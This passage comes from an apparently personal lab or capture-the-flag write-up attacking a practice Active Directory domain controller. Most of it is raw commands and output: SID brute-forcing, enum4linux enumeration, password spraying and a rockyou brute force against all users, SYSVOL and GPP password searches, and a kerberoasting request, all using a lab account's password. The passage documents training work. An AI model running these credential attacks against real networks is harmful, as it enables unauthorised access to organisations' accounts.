(SidTypeAlias) SMB 10.1.217.131 445 DC01 1102: HACKSMARTER\\DnsUpdateProxy (SidTypeGroup) SMB 10.1.217.131 445 DC01 1111: HACKSMARTER\\Goro (SidTypeUser) SMB 10.1.217.131 445 DC01 1113: HACKSMARTER\\alt.svc (SidTypeUser) SMB 10.1.217.131 445 DC01 1117: HACKSMARTER\\Yorinobu (SidTypeUser) SMB 10.1.217.131 445 DC01 1125: HACKSMARTER\\Hanako (SidTypeUser) SMB 10.1.217.131 445 DC01 1126: HACKSMARTER\\Faraday (SidTypeUser) SMB 10.1.217.131 445 DC01 1128: HACKSMARTER\\Smasher (SidTypeUser) SMB 10.1.217.131 445 DC01 1129: HACKSMARTER\\Soulkiller.svc (SidTypeUser) SMB 10.1.217.131 445 DC01 1132: HACKSMARTER\\Hellman (SidTypeUser) SMB 10.1.217.131 445 DC01 1134: HACKSMARTER\\kei.svc (SidTypeUser) SMB 10.1.217.131 445 DC01 1144: HACKSMARTER\\Silverhand.svc (SidTypeUser) SMB 10.1.217.131 445 DC01 1149: HACKSMARTER\\Oda (SidTypeUser) SMB 10.1.217.131 445 DC01 1601: HACKSMARTER\\the_emperor (SidTypeUser) ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ impacket-lookupsid hacksmarter.local/'faraday'@10.1.217.131 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Brute forcing SIDs at 10.1.217.131 [*] StringBinding ncacn_np:10.1.217.131[\\pipe\\lsarpc] [*] Domain SID is: S-1-5-21-3154413470-3340737026-2748725799 498: HACKSMARTER\\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: HACKSMARTER\\Administrator (SidTypeUser) 501: HACKSMARTER\\Guest (SidTypeUser) 502: HACKSMARTER\\krbtgt (SidTypeUser) 512: HACKSMARTER\\Domain Admins (SidTypeGroup) 513: HACKSMARTER\\Domain Users (SidTypeGroup) 514: HACKSMARTER\\Domain Guests (SidTypeGroup) 515: HACKSMARTER\\Domain Computers (SidTypeGroup) 516: HACKSMARTER\\Domain Controllers (SidTypeGroup) 517: HACKSMARTER\\Cert Publishers (SidTypeAlias) 518: HACKSMARTER\\Schema Admins (SidTypeGroup) 519: HACKSMARTER\\Enterprise Admins (SidTypeGroup) 520: HACKSMARTER\\Group Policy Creator Owners (SidTypeGroup) 521: HACKSMARTER\\Read-only Domain Controllers (SidTypeGroup) 522: HACKSMARTER\\Cloneable Domain Controllers (SidTypeGroup) 525: HACKSMARTER\\Protected Users (SidTypeGroup) 526: HACKSMARTER\\Key Admins (SidTypeGroup) 527: HACKSMARTER\\Enterprise Key Admins (SidTypeGroup) 553: HACKSMARTER\\RAS and IAS Servers (SidTypeAlias) 571: HACKSMARTER\\Allowed RODC Password Replication Group (SidTypeAlias) 572: HACKSMARTER\\Denied RODC Password Replication Group (SidTypeAlias) 1000: HACKSMARTER\\DC01$ (SidTypeUser) 1101: HACKSMARTER\\DnsAdmins (SidTypeAlias) 1102: HACKSMARTER\\DnsUpdateProxy (SidTypeGroup) 1111: HACKSMARTER\\Goro (SidTypeUser) 1113: HACKSMARTER\\alt.svc (SidTypeUser) 1117: HACKSMARTER\\Yorinobu (SidTypeUser) 1125: HACKSMARTER\\Hanako (SidTypeUser) 1126: HACKSMARTER\\Faraday (SidTypeUser) 1128: HACKSMARTER\\Smasher (SidTypeUser) 1129: HACKSMARTER\\Soulkiller.svc (SidTypeUser) 1132: HACKSMARTER\\Hellman (SidTypeUser) 1134: HACKSMARTER\\kei.svc (SidTypeUser) 1144: HACKSMARTER\\Silverhand.svc (SidTypeUser) 1149: HACKSMARTER\\Oda (SidTypeUser) 1601: HACKSMARTER\\the_emperor (SidTypeUser) ``` {% endcode %} #### enum4linux output {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ enum4linux -u 'faraday' -p 'hacksmarter123' -a 10.1.217.131 Starting enum4linux v0.9.1 ( ) on Sun Dec 28 14:46:24 2025 =========================================( Target Information )========================================= Target ........... 10.1.217.131 RID Range ........ 500-550,1000-1050 Username ......... 'faraday' Password ......... 'hacksmarter123' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ============================( Enumerating Workgroup/Domain on 10.1.217.131 )============================ [E] Can't find workgroup/domain ================================( Nbtstat Information for 10.1.217.131 )================================ Looking up status of 10.1.217.131 No reply from 10.1.217.131 ===================================( Session Check on 10.1.217.131 )=================================== [+] Server 10.1.217.131 allows sessions using username 'faraday', password 'hacksmarter123' ================================( Getting domain SID for 10.1.217.131 )================================ Domain Name: HACKSMARTER Domain Sid: S-1-5-21-3154413470-3340737026-2748725799 [+] Host is part of a domain (not a workgroup) ===================================( OS information on 10.1.217.131 )=================================== [E] Can't get OS info with smbclient [+] Got OS info for 10.1.217.131 from srvinfo: 10.1.217.131 Wk Sv PDC Tim NT platform_id : 500 os version : 10.0 server type : 0x80102b =======================================( Users on 10.1.217.131 )======================================= index: 0xeda RID: 0x1f4 acb: 0x00020010 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain index: 0xfb5 RID: 0x459 acb: 0x00000210 Account: alt.svc Name: Alt Cunningham Desc: Trapped for eternity index: 0xfc2 RID: 0x466 acb: 0x00000210 Account: Faraday Name: Faraday Desc: (null) index: 0xfb3 RID: 0x457 acb: 0x00000210 Account: Goro Name: Goro Takemura Desc: Loyal to a fault index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0xfc1 RID: 0x465 acb: 0x00000210 Account: Hanako Name: Hanako Arasaka Desc: Waiting at embers index: 0xfc8 RID: 0x46c acb: 0x00000210 Account: Hellman Name: Anders Hellman Desc: (null) index: 0xfca RID: 0x46e acb: 0x00000210 Account: kei.svc Name: Kei Arasaka Desc: Trapped for eternity index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account index: 0xfd9 RID: 0x47d acb: 0x00000210 Account: Oda Name: Oda Desc: (null) index: 0xfd4 RID: 0x478 acb: 0x00000210 Account: Silverhand.svc Name: Johnny Silverhand Desc: Trapped for eternity index: 0xfc4 RID: 0x468 acb: 0x00020010 Account: Smasher Name: Adam Smasher Desc: (null) index: 0xfc5 RID: 0x469 acb: 0x00000210 Account: Soulkiller.svc Name: Soulkiller.svc Desc: Certificate managment for soulkiller AI index: 0xfda RID: 0x641 acb: 0x00000210 Account: the_emperor Name: Saburo Arasaka Desc: (null) index: 0xfb9 RID: 0x45d acb: 0x00000210 Account: Yorinobu Name: Yorinobu Arasaka Desc: (null) user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[Goro] rid:[0x457] user:[alt.svc] rid:[0x459] user:[Yorinobu] rid:[0x45d] user:[Hanako] rid:[0x465] user:[Faraday] rid:[0x466] user:[Smasher] rid:[0x468] user:[Soulkiller.svc] rid:[0x469] user:[Hellman] rid:[0x46c] user:[kei.svc] rid:[0x46e] user:[Silverhand.svc] rid:[0x478] user:[Oda] rid:[0x47d] user:[the_emperor] rid:[0x641] =================================( Share Enumeration on 10.1.217.131 )================================= do_connect: Connection to 10.1.217.131 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. Unable to connect with SMB1 -- no workgroup available [+] Attempting to map shares on 10.1.217.131 //10.1.217.131/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A //10.1.217.131/C$ Mapping: DENIED Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_NO_SUCH_FILE listing \\* //10.1.217.131/IPC$ Mapping: N/A Listing: N/A Writing: N/A //10.1.217.131/NETLOGON Mapping: OK Listing: OK Writing: N/A //10.1.217.131/SYSVOL Mapping: OK Listing: OK Writing: N/A ============================( Password Policy Information for 10.1.217.131 )============================ [+] Attaching to 10.1.217.131 using faraday:hacksmarter123 [+] Trying protocol 139/SMB... [!] Protocol failed: Cannot request session (Called Name:10.1.217.131) [+] Trying protocol 445/SMB... [+] Found domain(s): [+] HACKSMARTER [+] Builtin [+] Password Info for Domain: HACKSMARTER [+] Minimum password length: 5 [+] Password history length: 24 [+] Maximum password age: 41 days 23 hours 53 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: 1 day 4 minutes [+] Reset Account Lockout Counter: 10 minutes [+] Locked Account Duration: 10 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: Not Set [+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 5 =======================================( Groups on 10.1.217.131 )======================================= [+] Getting builtin groups: group:[Server Operators] rid:[0x225] group:[Account Operators] rid:[0x224] group:[Pre-Windows 2000 Compatible Access] rid:[0x22a] group:[Incoming Forest Trust Builders] rid:[0x22d] group:[Windows Authorization Access Group] rid:[0x230] group:[Terminal Server License Servers] rid:[0x231] group:[Administrators] rid:[0x220] group:[Users] rid:[0x221] group:[Guests] rid:[0x222] group:[Print Operators] rid:[0x226] group:[Backup Operators] rid:[0x227] group:[Replicator] rid:[0x228] group:[Remote Desktop Users] rid:[0x22b] group:[Network Configuration Operators] rid:[0x22c] group:[Performance Monitor Users] rid:[0x22e] group:[Performance Log Users] rid:[0x22f] group:[Distributed COM Users] rid:[0x232] group:[IIS_IUSRS] rid:[0x238] group:[Cryptographic Operators] rid:[0x239] group:[Event Log Readers] rid:[0x23d] group:[Certificate Service DCOM Access] rid:[0x23e] group:[RDS Remote Access Servers] rid:[0x23f] group:[RDS Endpoint Servers] rid:[0x240] group:[RDS Management Servers] rid:[0x241] group:[Hyper-V Administrators] rid:[0x242] group:[Access Control Assistance Operators] rid:[0x243] group:[Remote Management Users] rid:[0x244] group:[Storage Replica Administrators] rid:[0x246] [+] Getting builtin group memberships: Group: IIS_IUSRS' (RID: 568) has member: NT AUTHORITY\\IUSR Group: Guests' (RID: 546) has member: HACKSMARTER\\Guest Group: Guests' (RID: 546) has member: HACKSMARTER\\Domain Guests Group: Remote Management Users' (RID: 580) has member: HACKSMARTER\\Yorinobu Group: Users' (RID: 545) has member: NT AUTHORITY\\INTERACTIVE Group: Users' (RID: 545) has member: NT AUTHORITY\\Authenticated Users Group: Users' (RID: 545) has member: HACKSMARTER\\Domain Users Group: Certificate Service DCOM Access' (RID: 574) has member: NT AUTHORITY\\Authenticated Users Group: Administrators' (RID: 544) has member: HACKSMARTER\\Administrator Group: Administrators' (RID: 544) has member: HACKSMARTER\\Enterprise Admins Group: Administrators' (RID: 544) has member: HACKSMARTER\\Domain Admins Group: Windows Authorization Access Group' (RID: 560) has member: NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\\Authenticated Users Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: HACKSMARTER\\DC01$ Group: Remote Desktop Users' (RID: 555) has member: HACKSMARTER\\Yorinobu [+] Getting local groups: group:[Cert Publishers] rid:[0x205] group:[RAS and IAS Servers] rid:[0x229] group:[Allowed RODC Password Replication Group] rid:[0x23b] group:[Denied RODC Password Replication Group] rid:[0x23c] group:[DnsAdmins] rid:[0x44d] [+] Getting local group memberships: Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\krbtgt Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Domain Controllers Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Schema Admins Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Enterprise Admins Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Cert Publishers Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Domain Admins Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Group Policy Creator Owners Group: Denied RODC Password Replication Group' (RID: 572) has member: HACKSMARTER\\Read-only Domain Controllers Group: Cert Publishers' (RID: 517) has member: HACKSMARTER\\DC01$ [+] Getting domain groups: group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200] group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Domain Controllers] rid:[0x204] group:[Schema Admins] rid:[0x206] group:[Enterprise Admins] rid:[0x207] group:[Group Policy Creator Owners] rid:[0x208] group:[Read-only Domain Controllers] rid:[0x209] group:[Cloneable Domain Controllers] rid:[0x20a] group:[Protected Users] rid:[0x20d] group:[Key Admins] rid:[0x20e] group:[Enterprise Key Admins] rid:[0x20f] group:[DnsUpdateProxy] rid:[0x44e] [+] Getting domain group memberships: Group: 'Schema Admins' (RID: 518) has member: HACKSMARTER\\Administrator Group: 'Group Policy Creator Owners' (RID: 520) has member: HACKSMARTER\\Administrator Group: 'Domain Controllers' (RID: 516) has member: HACKSMARTER\\DC01$ Group: 'Domain Admins' (RID: 512) has member: HACKSMARTER\\Administrator Group: 'Domain Admins' (RID: 512) has member: HACKSMARTER\\the_emperor Group: 'Domain Guests' (RID: 514) has member: HACKSMARTER\\Guest Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Administrator Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\krbtgt Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Goro Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\alt.svc Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Yorinobu Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Hanako Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Faraday Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Smasher Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Soulkiller.svc Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Hellman Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\kei.svc Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Silverhand.svc Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\Oda Group: 'Domain Users' (RID: 513) has member: HACKSMARTER\\the_emperor Group: 'Enterprise Admins' (RID: 519) has member: HACKSMARTER\\Administrator ==================( Users on 10.1.217.131 via RID cycling (RIDS: 500-550,1000-1050) )================== [I] Found new SID: S-1-5-21-3154413470-3340737026-2748725799 [I] Found new SID: S-1-5-21-3154413470-3340737026-2748725799 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-21-3154413470-3340737026-2748725799 [+] Enumerating users using SID S-1-5-80 and logon username 'faraday', password 'hacksmarter123' [+] Enumerating users using SID S-1-5-90 and logon username 'faraday', password 'hacksmarter123' [+] Enumerating users using SID S-1-5-21-3154413470-3340737026-2748725799 and logon username 'faraday', password 'hacksmarter123' S-1-5-21-3154413470-3340737026-2748725799-500 HACKSMARTER\\Administrator (Local User) S-1-5-21-3154413470-3340737026-2748725799-501 HACKSMARTER\\Guest (Local User) S-1-5-21-3154413470-3340737026-2748725799-502 HACKSMARTER\\krbtgt (Local User) S-1-5-21-3154413470-3340737026-2748725799-512 HACKSMARTER\\Domain Admins (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-513 HACKSMARTER\\Domain Users (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-514 HACKSMARTER\\Domain Guests (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-515 HACKSMARTER\\Domain Computers (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-516 HACKSMARTER\\Domain Controllers (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-517 HACKSMARTER\\Cert Publishers (Local Group) S-1-5-21-3154413470-3340737026-2748725799-518 HACKSMARTER\\Schema Admins (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-519 HACKSMARTER\\Enterprise Admins (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-520 HACKSMARTER\\Group Policy Creator Owners (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-521 HACKSMARTER\\Read-only Domain Controllers (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-522 HACKSMARTER\\Cloneable Domain Controllers (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-525 HACKSMARTER\\Protected Users (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-526 HACKSMARTER\\Key Admins (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-527 HACKSMARTER\\Enterprise Key Admins (Domain Group) S-1-5-21-3154413470-3340737026-2748725799-1000 HACKSMARTER\\DC01$ (Local User) [+] Enumerating users using SID S-1-5-32 and logon username 'faraday', password 'hacksmarter123' S-1-5-32-544 BUILTIN\\Administrators (Local Group) S-1-5-32-545 BUILTIN\\Users (Local Group) S-1-5-32-546 BUILTIN\\Guests (Local Group) S-1-5-32-548 BUILTIN\\Account Operators (Local Group) S-1-5-32-549 BUILTIN\\Server Operators (Local Group) S-1-5-32-550 BUILTIN\\Print Operators (Local Group) [+] Enumerating users using SID S-1-5-21-86151314-411319926-1744587812 and logon username 'faraday', password 'hacksmarter123' S-1-5-21-86151314-411319926-1744587812-500 DC01\\Administrator (Local User) S-1-5-21-86151314-411319926-1744587812-501 DC01\\Guest (Local User) S-1-5-21-86151314-411319926-1744587812-503 DC01\\DefaultAccount (Local User) S-1-5-21-86151314-411319926-1744587812-504 DC01\\WDAGUtilityAccount (Local User) S-1-5-21-86151314-411319926-1744587812-513 DC01\\None (Domain Group) [+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username 'faraday', password 'hacksmarter123' ===============================( Getting printer info for 10.1.217.131 )=============================== No printers returned. enum4linux complete on Sun Dec 28 14:52:53 2025 ``` {% endcode %} *** ### 3.2: Password Policy Analysis #### Password Re-Use from given credentials for `faraday` user (Password Policy Sucks) {% code overflow="wrap" expandable="true" %} ```bash [+] Password Info for Domain: HACKSMARTER [+] Minimum password length: 5 [+] Password history length: 24 [+] Maximum password age: 41 days 23 hours 53 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: 1 day 4 minutes [+] Reset Account Lockout Counter: 10 minutes [+] Locked Account Duration: 10 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: Not Set [+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 5 ``` {% endcode %} * No password complexity * Minimum length is 5 * Account lockout threshold == NONE * No forced log off time #### Checking Password re-use since NO LOCKOUT POLICY {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u arasaka_users.txt -p 'hacksmarter123' --continue-on-success SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\administrator:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Administrator:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\hanako:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\hellman:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\smasher:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\goro:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\alt.svc:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Yorinobu:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Hanako:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\Faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Smasher:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Soulkiller.svc:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Hellman:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\kei.svc:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Silverhand.svc:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Oda:hacksmarter123 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\the_emperor:hacksmarter123 STATUS_LOGON_FAILURE ``` {% endcode %} * No password re-use from `hacksmarter123` Checking against `rockyou.txt` for all users (Takes a LONG time) {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u arasaka_users.txt -p /usr/share/wordlists/rockyou.txt --continue-on-success --ignore-pw-decoding | grep "\\[\\+\\]" #Nothing found ``` {% endcode %} *** ### 3.4: SMB Share Enumeration #### Current accesible shares with `faraday` credentials (Nothing Interesting) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'faraday' -p 'hacksmarter123' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ smbclient -L //10.1.217.131/IPC$ -U faraday Password for [WORKGROUP\\faraday]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.1.217.131 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ smbclient //10.1.217.131/IPC$ -U faraday Password for [WORKGROUP\\faraday]: Try "help" to get a list of possible commands. smb: \\> ls NT_STATUS_NO_SUCH_FILE listing \\* smb: \\> ^C ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ smbclient //10.1.217.131/NETLOGON -U faraday Password for [WORKGROUP\\faraday]: Try "help" to get a list of possible commands. smb: \\> ls . D 0 Sat Sep 20 21:50:48 2025 .. D 0 Sat Sep 20 21:52:24 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\> ^C ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ smbclient //10.1.217.131/SYSVOL -U faraday Password for [WORKGROUP\\faraday]: Try "help" to get a list of possible commands. smb: \\> ls . D 0 Sat Sep 20 21:50:48 2025 .. D 0 Sat Sep 20 21:50:48 2025 hacksmarter.local Dr 0 Sat Sep 20 21:50:48 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\> cd hacksmarter.local smb: \\hacksmarter.local\\> ls . D 0 Sat Sep 20 21:52:24 2025 .. D 0 Sat Sep 20 21:50:48 2025 DfsrPrivate DHSr 0 Sat Sep 20 21:52:24 2025 Policies D 0 Sat Sep 20 21:51:01 2025 scripts D 0 Sat Sep 20 21:50:48 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\hacksmarter.local\\> cd scripts smb: \\hacksmarter.local\\scripts\\> ls . D 0 Sat Sep 20 21:50:48 2025 .. D 0 Sat Sep 20 21:52:24 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\hacksmarter.local\\scripts\\> cd .. smb: \\hacksmarter.local\\> ls . D 0 Sat Sep 20 21:52:24 2025 .. D 0 Sat Sep 20 21:50:48 2025 DfsrPrivate DHSr 0 Sat Sep 20 21:52:24 2025 Policies D 0 Sat Sep 20 21:51:01 2025 scripts D 0 Sat Sep 20 21:50:48 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\hacksmarter.local\\> cd Policies smb: \\hacksmarter.local\\Policies\\> ls . D 0 Sat Sep 20 21:51:01 2025 .. D 0 Sat Sep 20 21:52:24 2025 {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Sep 20 21:51:01 2025 {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Sep 20 21:51:01 2025 7863807 blocks of size 4096. 3613726 blocks available smb: \\hacksmarter.local\\Policies\\> cd .. smb: \\hacksmarter.local\\> cd DfsrPrivate cd \\hacksmarter.local\\DfsrPrivate\\: NT_STATUS_ACCESS_DENIED smb: \\hacksmarter.local\\> ``` {% endcode %} #### Look for GPP Passwords (Nothing) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'faraday' -p 'hacksmarter123' -M gpp_password SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share GPP_PASS... 10.1.217.131 445 DC01 [+] Found SYSVOL share GPP_PASS... 10.1.217.131 445 DC01 [*] Searching for potential XML files containing passwords SMB 10.1.217.131 445 DC01 [*] Started spidering SMB 10.1.217.131 445 DC01 [*] Spidering . SMB 10.1.217.131 445 DC01 [*] Done spidering (Completed in 2.813159704208374) ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'faraday' -p 'hacksmarter123' -M gpp_autologin SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share GPP_AUTO... 10.1.217.131 445 DC01 [+] Found SYSVOL share GPP_AUTO... 10.1.217.131 445 DC01 [*] Searching for Registry.xml SMB 10.1.217.131 445 DC01 [*] Started spidering SMB 10.1.217.131 445 DC01 [*] Spidering . SMB 10.1.217.131 445 DC01 [*] Done spidering (Completed in 2.8311963081359863) ``` {% endcode %} #### Look for writable shares (No `WRITE` access on shares for `faraday` user) *** ### 3.5: Kerberos Attacks #### kerberoasting {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo impacket-GetUserSPNs hacksmarter.local/faraday:'hacksmarter123' -dc-ip 10.1.217.131 -request -outputfile kerberoast_hashes.txt Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ------------------------------ ------- -------- -------------------------- --------- ---------- AI/blackwall.hacksmarter.local alt.svc 2025-09-21 10:07:42.894050 [-] CCache file is not found. Skipping... ``` {% endcode %} The output: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ cat kerberoast_hashes.txt 